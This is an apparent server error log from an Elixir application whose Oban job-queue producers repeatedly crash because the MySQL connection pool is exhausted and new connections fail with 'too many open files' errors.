[Sat Sep  5 23:53:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:53:15.240995Z], limit: 5, uuid: "dedf1373-e550-4608-86ae-3c5cdf13ea7e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:15.241000Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.143408>, refresh_timer: #Reference<0.2525715032.1068498948.35562>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:53:15.240698Z], limit: 20, uuid: "9eaad8ec-acfd-427b-89b9-4b03ec9f6863", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:15.240704Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.35563>, refresh_timer: #Reference<0.2525715032.1068498948.35552>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:53:15.238761Z], limit: 50, uuid: "c30bde44-439e-49b7-ad3e-402c3a0e8cf7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:15.238767Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.143409>, refresh_timer: #Reference<0.2525715032.1068498948.35517>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:53:15.238441Z], limit: 3, uuid: "67af256f-4cea-437d-a45c-0f7689885f03", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:15.238446Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.143407>, refresh_timer: #Reference<0.2525715032.1121189889.143391>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:53:15.238174Z], limit: 5, uuid: "03fc53e9-527c-4f96-88e4-3eeda7d5a726", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:15.238180Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.143406>, refresh_timer: #Reference<0.2525715032.1121189889.143390>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:27.836000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:28.349000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:29.030000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:31.091000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:32.417000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:33.763000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:34.200000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:38.462000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:53:27.241594Z], limit: 5, uuid: "74d4e66a-8f99-4273-9ba5-45ef1beb828d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:27.241599Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.143708>, refresh_timer: #Reference<0.2525715032.1068498948.35716>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:53:27.239145Z], limit: 50, uuid: "1b6ee173-6ab9-4985-a3a5-30715f0b6e63", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:27.239151Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.143709>, refresh_timer: #Reference<0.2525715032.1068498948.35692>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:53:27.239658Z], limit: 20, uuid: "2babea17-ff9c-40aa-b04a-7e4a00ef35c6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:27.239663Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.143705>, refresh_timer: #Reference<0.2525715032.1121189889.143684>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
